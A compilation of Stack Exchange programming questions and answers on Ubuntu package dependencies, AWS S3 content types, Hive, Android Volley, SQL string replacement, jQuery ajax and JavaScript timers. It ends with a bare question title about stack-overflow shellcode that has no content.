问:
Unmet dependencies. Try 'apt-get -f install' with no packages (or specify a solution) show error in ubuntu 16.04
I am used ubuntu 16.04 and try to install atom editor using following commands:-

```<code>sudo add-apt-repository ppa:webupd8team/atom
sudo apt-get update; sudo apt-get install atom
</code>```

But can't istall show error :-

```<code>Ign:1 http://dl.google.com/linux/chrome/deb stable InRelease
Hit:2 https://deb.nodesource.com/node_7.x xenial InRelease
Hit:3 http://dl.google.com/linux/chrome/deb stable Release
Hit:4 http://in.archive.ubuntu.com/ubuntu xenial InRelease
Hit:6 http://in.archive.ubuntu.com/ubuntu xenial-updates InRelease
Hit:7 http://security.ubuntu.com/ubuntu xenial-security InRelease
Hit:8 http://ppa.launchpad.net/gnome3-team/gnome3/ubuntu xenial InRelease
Hit:9 http://in.archive.ubuntu.com/ubuntu xenial-backports InRelease
Hit:10 http://ppa.launchpad.net/webupd8team/atom/ubuntu xenial InRelease
Hit:11 http://ppa.launchpad.net/webupd8team/sublime-text-3/ubuntu xenial InRelease
Reading package lists... Done
Reading package lists... Done
Building dependency tree
Reading state information... Done
You might want to run 'apt-get -f install' to correct these:
The following packages have unmet dependencies:
 atom : Depends: git
 google-chrome-stable : Depends: libappindicator1 but it is not going to be installed
E: Unmet dependencies. Try 'apt-get -f install' with no packages (or specify a solution).
</code>```

Please tell us how to solov this problem?

答:
Did you try to run the proposed solution ?

```<code>apt-get -f install
</code>```

If this doesn't work, here is a list of other possible solutions to this issue.

Body:
I am used ubuntu 16.04 and try to install atom editor using following commands:-

sudo add-apt-repository ppa:webupd8team/atom
sudo apt-get update; sudo apt-get install atom

But can't istall show error :-

Ign:1 http://dl.google.com/linux/chrome/deb stable InRelease
Hit:2 https://deb.nodesource.com/node_7.x xenial InRelease
Hit:3 http://dl.google.com/linux/chrome/deb stable Release
Hit:4 http://in.archive.ubuntu.com/ubuntu xenial InRelease
Hit:6 http://in.archive.ubuntu.com/ubuntu xenial-updates InRelease
Hit:7 http://security.ubuntu.com/ubuntu xenial-security InRelease
Hit:8 http://ppa.launchpad.net/gnome3-team/gnome3/ubuntu xenial InRelease
Hit:9 http://in.archive.ubuntu.com/ubuntu xenial-backports InRelease
Hit:10 http://ppa.launchpad.net/webupd8team/atom/ubuntu xenial InRelease
Hit:11 http://ppa.launchpad.net/webupd8team/sublime-text-3/ubuntu xenial InRelease
Reading package lists... Done
Reading package lists... Done
Building dependency tree
Reading state information... Done
You might want to run 'apt-get -f install' to correct these:
The following packages have unmet dependencies:
 atom : Depends: git
 google-chrome-stable : Depends: libappindicator1 but it is not going to be installed
E: Unmet dependencies. Try 'apt-get -f install' with no packages (or specify a solution).

Please tell us how to solov this problem?

Body:
Did you try to run the proposed solution ?

apt-get -f install

If this doesn't work, here is a list of other possible solutions to this issue.


来源: stackexchange

问:
How to avoid AWS S3 changing file content-type from text/html?
I'm using S3 to host a static website for a portfolio. For each webpage the .htmlextension is removed. The problem with this is that AWS automatically categorizes the file as binary/octet-stream. The problem here is that when you access the extension such as myportfolio.com/contact instead of rendering the page, the file just downloads into the downloads folder.

By going to

[Object] → properties → metadata → content-type

I am able to change the type to text/html which causes the file to render instead of downloading.

Now after having made a change to all the files and re-uploading them using AWS Cli:

AWS s3 sync . s3://[bucketname]

the files went back to the old content-type. How do I permanently set the content type on these files?

答:
Have you tried setting the --content-type flag? For example,

AWS s3 sync . s3://[bucketname] --content-type "text/html"

More info on this can be found here in the sync documentation

UPDATE: try this command for deployment,

aws s3 sync --acl public-read --sse --delete . s3://[bucketname]

--acl sets the files to be public read, --sse stores files encrypted, --delete removes files that are not in your local file.

ContentLicense: CC BY-SA 3.0


问:
Pass incremental value from empty hive table
I have a hive table in hive that is empty. Now I want to do incremental imports for this table.

When I query the table

```<code>last_val = `hive -e "select max(id) from db.table"
</code>```

I am getting a NULL value.

How can I pass this value to the sqoop incremental query.Say If null then pass as Zero or something

答:
You can use below query to replace NULL with 0.

```<code>last_val = `hive -e "select NVL(max(id),0) from db.table"
</code>```

Body:
I have a hive table in hive that is empty. Now I want to do incremental imports for this table.

When I query the table

last_val = `hive -e "select max(id) from db.table"

I am getting a NULL value.

How can I pass this value to the sqoop incremental query.Say If null then pass as Zero or something

Body:
You can use below query to replace NULL with 0.

last_val = `hive -e "select NVL(max(id),0) from db.table"


问:
when i am pressing back button(up button) it is showing "app stopped unfortunately" after using volley
```<code>    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_navigation);

        but1=(Button)findViewById(R.id.btnlogin);

      //
        final String Token=getIntent().getExtras().getString("token");
//        Toast.makeText(getApplicationContext(),Token, Toast.LENGTH_SHORT).show();
        final String firstName=getIntent().getExtras().getString("firstname");

        //getting cardview data's
        String url =
        com.android.volley.toolbox.JsonObjectRequest jsonRequest = new com.android.volley.toolbox.JsonObjectRequest
                (Request.Method.GET, url, null, new Response.Listener<JSONObject>() {
                    @Override
                    public void onResponse(JSONObject response) {

                        // the response is already constructed as a JSONObject!
                        try {

                            JSONArray obj = response.getJSONArray("result");

                            int o = obj.length();
                            Log.v("Length", String.valueOf(o));

                            for (int i = 0; i < obj.length(); i++) {

                                JSONObject jsonObject = obj.getJSONObject(i);
                                //listname.add(jsonObject.getString("templateId"));
                                listehr.add(jsonObject.getString("templateId"));
                                listdate.add(jsonObject.getString("startTime"));
                                listtime.add(jsonObject.getString("category"));
//                                ehrUid.add(jsonObject.getString("ehrUid"));
                                List<String> compositionUid = new ArrayList<>();
//                                String startTime = jsonObject.getString("startTime");
//                                Log.v("startTime",startTime);

                            }

                            Log.v("listtime", String.valueOf(listtime.size()));
                            Log.v("Response", response.toString());
                            String total  = response.getString("total");
                            Log.v("Total",total);
                            String result = response.getString("result");
                            Log.v("Result",result);
                        } catch (JSONException e) {
                            e.printStackTrace();

                        }
                    }

                }, new Response.ErrorListener() {

                    @Override
                    public void onErrorResponse(VolleyError error) {
                        error.printStackTrace();
                        System.out.println(error);
                    }
                }){
            @Override
            public Map<String, String> getHeaders() throws AuthFailureError {
                Map<String, String> headers = new HashMap<>();
                headers.put("Content-Type", "application/json");
                headers.put("Authorization",Token);
                return headers;
            }
        };
        com.android.volley.toolbox.Volley.newRequestQueue(NavigationActivity.this).add(jsonRequest);

        //
</code>```

答:
Punithapriya this is the code for main activity

public class MainActivity extends AppCompatActivity {

```<code>TextView t;
private EditText username;
private EditText password;
EditText showPsd;
CheckBox mCbShowPwd;
public Button but1;
@Override
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.activity_main);

    //login page using json
    but1=(Button)findViewById(R.id.btnlogin);
    username=(EditText)findViewById(R.id.editText2);
    password=(EditText)findViewById(R.id.btnpass);
        but1.setOnClickListener(new View.OnClickListener() {
          @Override
            public void onClick(View v) {
              //validation for login
              if(username.getText().toString().length()==0){
                  username.setError("Username not entered");
                  username.requestFocus();
              }
              else if(password.getText().toString().length()==0){
                  password.setError("Password  not entered");
                  password.requestFocus();
              }
              //
              String url = ;

              JsonObjectRequest jsonRequest = new JsonObjectRequest
                      (Request.Method.POST, url, null, new Response.Listener<JSONObject>() {
                          @Override
                          public void onResponse(JSONObject response) {
                              // the response is already constructed as a JSONObject!
                              try {
                                  Log.v("Hai", response.toString());
                                  String firstName  = response.getString("firstName");
                                  Log.v("firstName", firstName);
                                  String organizationList = response.getString("organizationList");
                                  Log.v("organizationList",organizationList);
                                  String token = response.getString("token");
                                  Log.v("token",token);
                                  Toast.makeText(getApplicationContext(),"Logged in Suceessfully", Toast.LENGTH_SHORT).show();
                                  Intent i = new Intent(MainActivity.this,NavigationActivity.class);
                                  i.putExtra("token",token);
                                  i.putExtra("firstname",firstName);
                                  startActivity(i);
                                  finish();

                              } catch (JSONException e) {
                                  e.printStackTrace();

                              }
                          }

                      }, new Response.ErrorListener() {

                          @Override
                          public void onErrorResponse(VolleyError error) {
                              error.printStackTrace();
                              System.out.println(error);
                              Toast.makeText(getApplicationContext(),"Login Error", Toast.LENGTH_SHORT).show();
                          }
                      });
              Volley.newRequestQueue(MainActivity.this).add(jsonRequest);

            }
        });

    //password
    showPsd = (EditText) findViewById(R.id.btnpass);
    // get the show/hide password Checkbox
    mCbShowPwd = (CheckBox) findViewById(R.id.btnshow);

    // add onCheckedListener on checkbox
    // when user clicks on this checkbox, this is the handler.
    mCbShowPwd.setOnCheckedChangeListener(new CompoundButton.OnCheckedChangeListener() {

                                              public void onCheckedChanged(CompoundButton buttonView, boolean isChecked) {

                                                  // checkbox status is changed from uncheck to checked.
                                                  if (!isChecked) {
                                                      // show password
                                                      showPsd.setTransformationMethod(PasswordTransformationMethod.getInstance());
                                                      EditText et = (EditText)findViewById(R.id.btnpass);
                                                      et.setSelection(et.getText().length());
                                                  } else {
                                                      // hide password
                                                      showPsd.setTransformationMethod(HideReturnsTransformationMethod.getInstance());
                                                      EditText et = (EditText)findViewById(R.id.btnpass);
                                                      et.setSelection(et.getText().length());
                                                  }
                                              }
                                          });
    //

    //Textview calling

    final TextView regLink=(TextView)findViewById(R.id.register1);
    final TextView forLink=(TextView)findViewById(R.id.forgot);

    //register

    regLink.setOnClickListener(new View.OnClickListener() {
        @Override
        public void onClick(View v) {
            Intent regIntent=new Intent(MainActivity.this,RegisterActivity.class);
            MainActivity.this.startActivity(regIntent);
        }
    });

    //forgot

    forLink.setOnClickListener(new View.OnClickListener() {
        @Override
        public void onClick(View v) {
            Intent forIntent=new Intent(MainActivity.this,ForgotActivity.class);
            MainActivity.this.startActivity(forIntent);
        }
    });

}
//exit dialog box
@Override
public void onBackPressed() {

    AlertDialog.Builder builder = new AlertDialog.Builder(MainActivity.this);
    builder.setTitle("EHR Store");
    builder.setIcon(R.drawable.sd);
    builder.setMessage("Do you want to exit?")
            .setCancelable(false)
            .setPositiveButton("Yes", new DialogInterface.OnClickListener() {
                public void onClick(DialogInterface dialog, int id) {
                    finish();
                }
            })
            .setNegativeButton("No", new DialogInterface.OnClickListener() {
                public void onClick(DialogInterface dialog, int id) {
                    dialog.cancel();
                }
            });
    AlertDialog alert = builder.create();
    alert.show();
</code>```

}
    }

Body:
Punithapriya this is the code for main activity

public class MainActivity extends AppCompatActivity {

TextView t;
private EditText username;
private EditText password;
EditText showPsd;
CheckBox mCbShowPwd;
public Button but1;
@Override
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.activity_main);

    //login page using json
    but1=(Button)findViewById(R.id.btnlogin);
    username=(EditText)findViewById(R.id.editText2);
    password=(EditText)findViewById(R.id.btnpass);
        but1.setOnClickListener(new View.OnClickListener() {
          @Override
            public void onClick(View v) {
              //validation for login
              if(username.getText().toString().length()==0){
                  username.setError("Username not entered");
                  username.requestFocus();
              }
              else if(password.getText().toString().length()==0){
                  password.setError("Password  not entered");
                  password.requestFocus();
              }
              //
              String url = ;

              JsonObjectRequest jsonRequest = new JsonObjectRequest
                      (Request.Method.POST, url, null, new Response.Listener<JSONObject>() {
                          @Override
                          public void onResponse(JSONObject response) {
                              // the response is already constructed as a JSONObject!
                              try {
                                  Log.v("Hai", response.toString());
                                  String firstName  = response.getString("firstName");
                                  Log.v("firstName", firstName);
                                  String organizationList = response.getString("organizationList");
                                  Log.v("organizationList",organizationList);
                                  String token = response.getString("token");
                                  Log.v("token",token);
                                  Toast.makeText(getApplicationContext(),"Logged in Suceessfully", Toast.LENGTH_SHORT).show();
                                  Intent i = new Intent(MainActivity.this,NavigationActivity.class);
                                  i.putExtra("token",token);
                                  i.putExtra("firstname",firstName);
                                  startActivity(i);
                                  finish();

                              } catch (JSONException e) {
                                  e.printStackTrace();

                              }
                          }

                      }, new Response.ErrorListener() {

                          @Override
                          public void onErrorResponse(VolleyError error) {
                              error.printStackTrace();
                              System.out.println(error);
                              Toast.makeText(getApplicationContext(),"Login Error", Toast.LENGTH_SHORT).show();
                          }
                      });
              Volley.newRequestQueue(MainActivity.this).add(jsonRequest);

            }
        });

    //password
    showPsd = (EditText) findViewById(R.id.btnpass);
    // get the show/hide password Checkbox
    mCbShowPwd = (CheckBox) findViewById(R.id.btnshow);

    // add onCheckedListener on checkbox
    // when user clicks on this checkbox, this is the handler.
    mCbShowPwd.setOnCheckedChangeListener(new CompoundButton.OnCheckedChangeListener() {

                                              public void onCheckedChanged(CompoundButton buttonView, boolean isChecked) {

                                                  // checkbox status is changed from uncheck to checked.
                                                  if (!isChecked) {
                                                      // show password
                                                      showPsd.setTransformationMethod(PasswordTransformationMethod.getInstance());
                                                      EditText et = (EditText)findViewById(R.id.btnpass);
                                                      et.setSelection(et.getText().length());
                                                  } else {
                                                      // hide password
                                                      showPsd.setTransformationMethod(HideReturnsTransformationMethod.getInstance());
                                                      EditText et = (EditText)findViewById(R.id.btnpass);
                                                      et.setSelection(et.getText().length());
                                                  }
                                              }
                                          });
    //

    //Textview calling

    final TextView regLink=(TextView)findViewById(R.id.register1);
    final TextView forLink=(TextView)findViewById(R.id.forgot);

    //register

    regLink.setOnClickListener(new View.OnClickListener() {
        @Override
        public void onClick(View v) {
            Intent regIntent=new Intent(MainActivity.this,RegisterActivity.class);
            MainActivity.this.startActivity(regIntent);
        }
    });

    //forgot

    forLink.setOnClickListener(new View.OnClickListener() {
        @Override
        public void onClick(View v) {
            Intent forIntent=new Intent(MainActivity.this,ForgotActivity.class);
            MainActivity.this.startActivity(forIntent);
        }
    });

}
//exit dialog box
@Override
public void onBackPressed() {

    AlertDialog.Builder builder = new AlertDialog.Builder(MainActivity.this);
    builder.setTitle("EHR Store");
    builder.setIcon(R.drawable.sd);
    builder.setMessage("Do you want to exit?")
            .setCancelable(false)
            .setPositiveButton("Yes", new DialogInterface.OnClickListener() {
                public void onClick(DialogInterface dialog, int id) {
                    finish();
                }
            })
            .setNegativeButton("No", new DialogInterface.OnClickListener() {
                public void onClick(DialogInterface dialog, int id) {
                    dialog.cancel();
                }
            });
    AlertDialog alert = builder.create();
    alert.show();

}
    }


问:
iphone, xcode; Reverse engineer a nib
I was wondering if there is a way i can design a nib/xib file and generate code for that?
meaning, instead of writing lines of code to generate an interface, would'nt it be easier to design and nib file using IB and get the source or something?

Thanks

答:
You are asking for a code generator, which as jsd noted IB will do if you really want.

However, your life will be a lot easier if you just accept what IB is, an object creation, placement, linking and storage mechanism.

IB is doing all the tedious stuff for you, creating instances and setting initial values for you along with (some) relationships, then compositing them all.  It freeze-dries the result so it's ready to go at runtime.

It does sometime make sense to use what IB has done as a template to base other code around instead of using the views it creates directly, but if you generate code then you are potentially out of sync with IB and it makes it hard to use for maintaining the interface going forward.

ContentLicense: CC BY-SA 2.5

Title: iphone, xcode; Reverse engineer a nib


问:
sql split and replace string in table
I have data in table as below and trying to use Replace to do it, but I am ending up with either double semicolon ';;; or semicolon at end after using replace. Can I use split and replace to achieve this or any other ways??

```<code>    Test attempts;My attempts using operation;Additions, deletions, and modifications
    Test attempts;My attempts using operation
    Test attempts;access to information;attempts using nex;Additions, deletions, and modifications
    Test attempts;Changes to programs
</code>```

Replace 'My attempts using operation' with emptystring AND
    Replace 'attempts using nex' with 'attempts using imex' in above data column

```<code>    Result should be:

    Test attempts;Additions, deletions, and modifications
    Test attempts-- No semicolon should be there if it ends up at end with that after replace
    Test attempts;access to information;attempts using imex;Additions, deletions, and modifications

Test attempts;Changes to programs
</code>```

答:
As simple as it can get</p>

```<code>declare @test table (content varchar(8000))
insert into @test values ('Test attempts;My attempts using operation;Additions, deletions, and modifications ')
insert into @test values ('Test attempts;My attempts using operation')
insert into @test values ('Test attempts;access to information;attempts using nex;Additions, deletions, and modifications')
insert into @test values ('Test attempts;Changes to programs')

select
    case charindex(';My attempts using operation',content) when 0 then content
        else (substring(content,0,charindex(';My attempts using operation',content))
                +substring(content,charindex(';My attempts using operation',content)+len(';My attempts using operation'),len(content)))
        end
        from @test
</code>```

Title: sql split and replace string in table

Body:
I have data in table as below and trying to use Replace to do it, but I am ending up with either double semicolon ';;; or semicolon at end after using replace. Can I use split and replace to achieve this or any other ways??

    Test attempts;My attempts using operation;Additions, deletions, and modifications
    Test attempts;My attempts using operation
    Test attempts;access to information;attempts using nex;Additions, deletions, and modifications
    Test attempts;Changes to programs

Replace 'My attempts using operation' with emptystring AND
    Replace 'attempts using nex' with 'attempts using imex' in above data column

    Result should be:

    Test attempts;Additions, deletions, and modifications
    Test attempts-- No semicolon should be there if it ends up at end with that after replace
    Test attempts;access to information;attempts using imex;Additions, deletions, and modifications

Test attempts;Changes to programs

Body:
As simple as it can get

declare @test table (content varchar(8000))
insert into @test values ('Test attempts;My attempts using operation;Additions, deletions, and modifications ')
insert into @test values ('Test attempts;My attempts using operation')
insert into @test values ('Test attempts;access to information;attempts using nex;Additions, deletions, and modifications')
insert into @test values ('Test attempts;Changes to programs')

select
    case charindex(';My attempts using operation',content) when 0 then content
        else (substring(content,0,charindex(';My attempts using operation',content))
                +substring(content,charindex(';My attempts using operation',content)+len(';My attempts using operation'),len(content)))
        end
        from @test


问:
Convert xlsx file to csv using batch
How do you convert multiple xlsx files to csv files with a batch script?</p>

答:
Get all file item and filter them by suffix and then use PowerShell Excel VBA object to save the excel files to csv files.

```<code>$excelApp = New-Object -ComObject Excel.Application
$excelApp.DisplayAlerts = $false

Get-ChildItem -File -Filter '*.xlsx' | ForEach-Object {
    $workbook = $excelApp.Workbooks.Open($_.FullName)
    $csvFilePath = $_.FullName -replace "\.xlsx$", ".csv"
    $workbook.SaveAs($csvFilePath, [Microsoft.Office.Interop.Excel.XlFileFormat]::xlCSV)
    $workbook.Close()
}
</code>```

You can find the complete sample here How to convert Excel xlsx file to csv file in batch by PowerShell

Title: Convert xlsx file to csv using batch

Body:
Get all file item and filter them by suffix and then use PowerShell Excel VBA object to save the excel files to csv files.

$excelApp = New-Object -ComObject Excel.Application
$excelApp.DisplayAlerts = $false

Get-ChildItem -File -Filter '*.xlsx' | ForEach-Object {
    $workbook = $excelApp.Workbooks.Open($_.FullName)
    $csvFilePath = $_.FullName -replace "\.xlsx$", ".csv"
    $workbook.SaveAs($csvFilePath, [Microsoft.Office.Interop.Excel.XlFileFormat]::xlCSV)
    $workbook.Close()
}

You can find the complete sample here How to convert Excel xlsx file to csv file in batch by PowerShell

ContentLicense: CC BY-SA 4.0


问:
Android Close Second activity and move to first activity
I am in Second activity, doing uninstall other app works fine.

But when Uninstall finished, I want to kill the second activity and move to previous(First) activity. I don't Know how to do it.

Please He

```<code>btnUninstall.setOnClickListener(new View.OnClickListener() {
        @Override
        public void onClick(View v) {
            Uri packageURI = Uri.parse("package:" + packageInfo.packageName);
            Intent uninstallIntent = new Intent(Intent.ACTION_DELETE, packageURI);
            startActivityForResult(uninstallIntent, 1);
        }
    });
</code>```

答: You can call an intent back to the first activity or finish the second activty intent from the onActivityResult callback in the second activity ,which will be called after the intent execution is over.</p>

Body:
I am in Second activity, doing uninstall other app works fine.

But when Uninstall finished, I want to kill the second activity and move to previous(First) activity. I don't Know how to do it.

Please He

btnUninstall.setOnClickListener(new View.OnClickListener() {
        @Override
        public void onClick(View v) {
            Uri packageURI = Uri.parse("package:" + packageInfo.packageName);
            Intent uninstallIntent = new Intent(Intent.ACTION_DELETE, packageURI);
            startActivityForResult(uninstallIntent, 1);
        }
    });


问:
How to access data from ajax call after the ajax call ends
I am making a ajax calls that returns me some data from the server. I work on string function on the data that come from ajax call. From my knowledge i can see the string operation begins before the ajax call gets over. Often giving me undefined error. Here is my ajax call

```<code> $.ajax({

        type: "POST",
        url: "/add_director",
        headers: {'X-CSRF-TOKEN': $('meta[name="csrf-token"]').attr('content')},
        data: formData,
        cache: false,
        contentType: false,
        processData: false,
        success: function(data) {
            $('#addDirModal').modal('hide');
            insertDirector(data);
        },
        error : function(xhr ,status ,error)
        {
            console.log(xhr);
            alert(xhr);
        }
    });
</code>```

Here is my insertDirector function

```<code>function insertDirector(data){
      console.log(data);
      if (data.msg == "1") {
        $.each(data,function(key,value){
            var dir_name = value.dir_name;
            var dir_pan = value.dir_pan;
            var dir_din = value.dir_din;
            var dir_addr = value.dir_addr;
            var dir_id = value.id;
            var dir_img = value.dir_img;

              if (dir_name.val().length > 15) {
                var dir_r_name = dir_name.substr(0,15);
              }

              else{
                var dir_r_name = dir_name;
              }
         });
        }
       }
</code>```

Here when i work on substr() it throws the error Cannot read property 'val' of undefined. I can see this is because the substr() is executed before the ajax request is completed. how do i fix this ?

EDITED

Here is the response

```<code>{"msg":"1","director":{"dir_name":"Naveen","dir_pan":"AAAAA1111B","dir_din":"123456","dir_addr":"dsadasdasdasdsadasdas","dir_img":"1490852438.jpg","user_id":3,"updated_at":"2017-03-30 05:40:38","created_at":"2017-03-30 05:40:38","id":15}}
</code>```

答:
Its not clear why you use the $.each here (you can omit it and use data.director instead of value), but if it is possible that your data contain several 'director' objects and you want to iterate through all of them, then you should change the insertDirector code to skip the 'msg' key as it doesn't have dir_name, dir_plan, ... properties:

```<code>function insertDirector(data) {
  console.log(data);
  if (data.msg == "1") {
    $.each(data, function (key, value) {
      if (key == "director") { //or if (key != "msg")
        var dir_name = value.dir_name;
        var dir_pan = value.dir_pan;
        var dir_din = value.dir_din;
        var dir_addr = value.dir_addr;
        var dir_id = value.id;
        var dir_img = value.dir_img;

        var dir_r_name = (dir_name.length > 15 ? dir_name.substr(0, 15) : dir_name);
        //if (dir_name.length > 15) {
        //  var dir_r_name = dir_name.substr(0, 15);
        //}
        //else {
        //  var dir_r_name = dir_name;
        //}
      }
    });
  }
}
</code>```

also, note that dir_name.val().length is wrong as dir_name is a string (.val() is not required)

Body:
I am making a ajax calls that returns me some data from the server. I work on string function on the data that come from ajax call. From my knowledge i can see the string operation begins before the ajax call gets over. Often giving me undefined error. Here is my ajax call

 $.ajax({

        type: "POST",
        url: "/add_director",
        headers: {'X-CSRF-TOKEN': $('meta[name="csrf-token"]').attr('content')},
        data: formData,
        cache: false,
        contentType: false,
        processData: false,
        success: function(data) {
            $('#addDirModal').modal('hide');
            insertDirector(data);
        },
        error : function(xhr ,status ,error)
        {
            console.log(xhr);
            alert(xhr);
        }
    });

Here is my insertDirector function

function insertDirector(data){
      console.log(data);
      if (data.msg == "1") {
        $.each(data,function(key,value){
            var dir_name = value.dir_name;
            var dir_pan = value.dir_pan;
            var dir_din = value.dir_din;
            var dir_addr = value.dir_addr;
            var dir_id = value.id;
            var dir_img = value.dir_img;

              if (dir_name.val().length > 15) {
                var dir_r_name = dir_name.substr(0,15);
              }

              else{
                var dir_r_name = dir_name;
              }
         });
        }
       }

Here when i work on substr() it throws the error Cannot read property 'val' of undefined. I can see this is because the substr() is executed before the ajax request is completed. how do i fix this ?

EDITED

Here is the response

{"msg":"1","director":{"dir_name":"Naveen","dir_pan":"AAAAA1111B","dir_din":"123456","dir_addr":"dsadasdasdasdsadasdas","dir_img":"1490852438.jpg","user_id":3,"updated_at":"2017-03-30 05:40:38","created_at":"2017-03-30 05:40:38","id":15}}

Body:
Its not clear why you use the $.each here (you can omit it and use data.director instead of value), but if it is possible that your data contain several 'director' objects and you want to iterate through all of them, then you should change the insertDirector code to skip the 'msg' key as it doesn't have dir_name, dir_plan, ... properties:

function insertDirector(data) {
  console.log(data);
  if (data.msg == "1") {
    $.each(data, function (key, value) {
      if (key == "director") { //or if (key != "msg")
        var dir_name = value.dir_name;
        var dir_pan = value.dir_pan;
        var dir_din = value.dir_din;
        var dir_addr = value.dir_addr;
        var dir_id = value.id;
        var dir_img = value.dir_img;

        var dir_r_name = (dir_name.length > 15 ? dir_name.substr(0, 15) : dir_name);
        //if (dir_name.length > 15) {
        //  var dir_r_name = dir_name.substr(0, 15);
        //}
        //else {
        //  var dir_r_name = dir_name;
        //}
      }
    });
  }
}

also, note that dir_name.val().length is wrong as dir_name is a string (.val() is not required)


问:
expired keys in nodeJs
I want to create some pattern for key-value store, with structure like:

```<code>function ItemObject(value1, value2, value3) {
    this.value1 = value1;
    this.value2 = value2;
    this.value3 = value3;
    // or whatever object needs.
}
</code>```

then, I make a function like:

```<code>function keystore() {
    this.keys = new Array();
    this.decaytime = 50000; //in second
}

keystore.prototype.storeKey = function(key, itemObject) {
    this.keys[key] = itemObject;
    setTimeout(this.removeKey(key), this.decaytime);
}

keystore.prototype.removeKey = function(key) {
    console.log('removing ' + key);
    console.log(this.keys);
    if (this.keys[key]) {
        delete this.keys[key]
    }
    console.log('done');
    console.log(this.keys);
}

module.exports = keystore;
</code>```

Now, I want to make that this.keys[keyid] removed after decaytime. How can I do that? Because this.removeKey() is outside setTimeout() scope, and obviously, not a function since it is not declared yet in setTimeout. I need removeKey() as part of object because I want to remove key prematurely if needed, so I would keep removeKey()

Thank you

EDIT: I found a way, but it is ugly.

```<code>keystore.prototype.storeKey = function(key, itemObject) {
    this.keys[key] = itemObject);
    var _this = this;
    setTimeout(function() {_this.removeKey(key);}, this.decaytime);
}
</code>```

Is there any proper way?

答:
Use arrow functions for setTimeout, your this context will be maintained.

```<code>function keystore() {
    this.keys = new Array();
    this.decaytime = 2000; //in second
}

keystore.prototype.storeKey = function(key, itemObject) {
    this.keys.push(key, itemObject);
    setTimeout(() => this.removeKey(key), this.decaytime);
}

keystore.prototype.removeKey = function(key) {
    console.log('removing ' + key);
    console.log(this.keys);
    if (this.keys[key] != null) {
        this.keys = this.keys.filter((item, index) => index !== key);
    }
    console.log('done');
    console.log(this.keys);
}
</code>```

Title: expired keys in nodeJs

Body:
I want to create some pattern for key-value store, with structure like:

function ItemObject(value1, value2, value3) {
    this.value1 = value1;
    this.value2 = value2;
    this.value3 = value3;
    // or whatever object needs.
}

then, I make a function like:

function keystore() {
    this.keys = new Array();
    this.decaytime = 50000; //in second
}

keystore.prototype.storeKey = function(key, itemObject) {
    this.keys[key] = itemObject;
    setTimeout(this.removeKey(key), this.decaytime);
}

keystore.prototype.removeKey = function(key) {
    console.log('removing ' + key);
    console.log(this.keys);
    if (this.keys[key]) {
        delete this.keys[key]
    }
    console.log('done');
    console.log(this.keys);
}

module.exports = keystore;

Now, I want to make that this.keys[keyid] removed after decaytime. How can I do that? Because this.removeKey() is outside setTimeout() scope, and obviously, not a function since it is not declared yet in setTimeout. I need removeKey() as part of object because I want to remove key prematurely if needed, so I would keep removeKey()

Thank you

EDIT: I found a way, but it is ugly.

keystore.prototype.storeKey = function(key, itemObject) {
    this.keys[key] = itemObject);
    var _this = this;
    setTimeout(function() {_this.removeKey(key);}, this.decaytime);
}

Is there any proper way?

Body:
Use arrow functions for setTimeout, your this context will be maintained.

function keystore() {
    this.keys = new Array();
    this.decaytime = 2000; //in second
}

keystore.prototype.storeKey = function(key, itemObject) {
    this.keys.push(key, itemObject);
    setTimeout(() => this.removeKey(key), this.decaytime);
}

keystore.prototype.removeKey = function(key) {
    console.log('removing ' + key);
    console.log(this.keys);
    if (this.keys[key] != null) {
        this.keys = this.keys.filter((item, index) => index !== key);
    }
    console.log('done');
    console.log(this.keys);
}


问:
how to hide cc , bcc in mail box form initially
I have developed a mail box form where i want to hide cc , bcc option initially. cc, bcc will when i click on their option.
I am not able to do this.

<form class="inbox-compose form-horizontal" id="fileupload" action="#" method="POST" enctype="multipart/form-data">

        <button class="btn green">
            Send</button>
        <button class="btn default inbox-discard-btn">Discard</button>
        <button class="btn default">Draft</button>

        To:

            <input type="text" class="form-control" name="to">

                 Cc
                 Bcc

        Cc:

            <input type="text" name="cc" class="form-control">

        Bcc:

            <input type="text" name="bcc" class="form-control">

        Subject:

            <input type="text" class="form-control" name="subject">

        <textarea class="inbox-editor inbox-wysihtml5 form-control" name="message" rows="12"></textarea>```

Please help me to make my form better

答:
Initially hide the div like:

```<code><span class="inbox-cc-bcc" style="display:none;">
    <span class="inbox-cc"> Cc </span>
    <span class="inbox-bcc"> Bcc </span>
</span>
</code>```

and show it by adding an event listener on cc, bcc button using jquery show() method

Body:
I have developed a mail box form where i want to hide cc , bcc option initially. cc, bcc will when i click on their option.
I am not able to do this.

<form class="inbox-compose form-horizontal" id="fileupload" action="#" method="POST" enctype="multipart/form-data">

        <button class="btn green">
            Send</button>
        <button class="btn default inbox-discard-btn">Discard</button>
        <button class="btn default">Draft</button>

        To:

            <input type="text" class="form-control" name="to">

                 Cc
                 Bcc

        Cc:

            <input type="text" name="cc" class="form-control">

        Bcc:

            <input type="text" name="bcc" class="form-control">

        Subject:

            <input type="text" class="form-control" name="subject">

        <textarea class="inbox-editor inbox-wysihtml5 form-control" name="message" rows="12"></textarea>

Please help me to make my form better

Body:
Initially hide the div like:

<span class="inbox-cc-bcc" style="display:none;">
    <span class="inbox-cc"> Cc </span>
    <span class="inbox-bcc"> Bcc </span>
</span>

and show it by adding an event listener on cc, bcc button using jquery show() method


答:
change

```<code>if (dir_name.val().length > 15) {
  var dir_r_name = dir_name.substr(0,15);
}
</code>```

to

```<code>if (dir_name.length > 15) {
  var dir_r_name = dir_name.substr(0,15);
}
</code>```

Title: How to access data from ajax call after the ajax call ends

Body:
change

if (dir_name.val().length > 15) {
  var dir_r_name = dir_name.substr(0,15);
}

to

if (dir_name.length > 15) {
  var dir_r_name = dir_name.substr(0,15);
}


问:
UISplitView On iPad - Have I The Correct Structure?
Trying to introduce a UISplitView into an existing application based off a TabBar Controller to run on an iPad only.

I have the 'master' view displaying, but the 'detail' view won't show.

I have attached a schematic on how the Storyboard looks.

Do I have the necessary Segue's connecting correctly?

If you need the code to look deeper, please ask.

答: In the project you provided, the Tab Bar Controller has HomeController and the Preferences controller set as view controllers. This is incorrect since you should have the Split View Controller for the Preference controller, as one of the tab bar's view controllers. Once you do that, you will have the split view displaying correctly.


问:
Shellcode for a simple stack overflow: Exploited program with shell terminates directly after execve("/bin/sh")
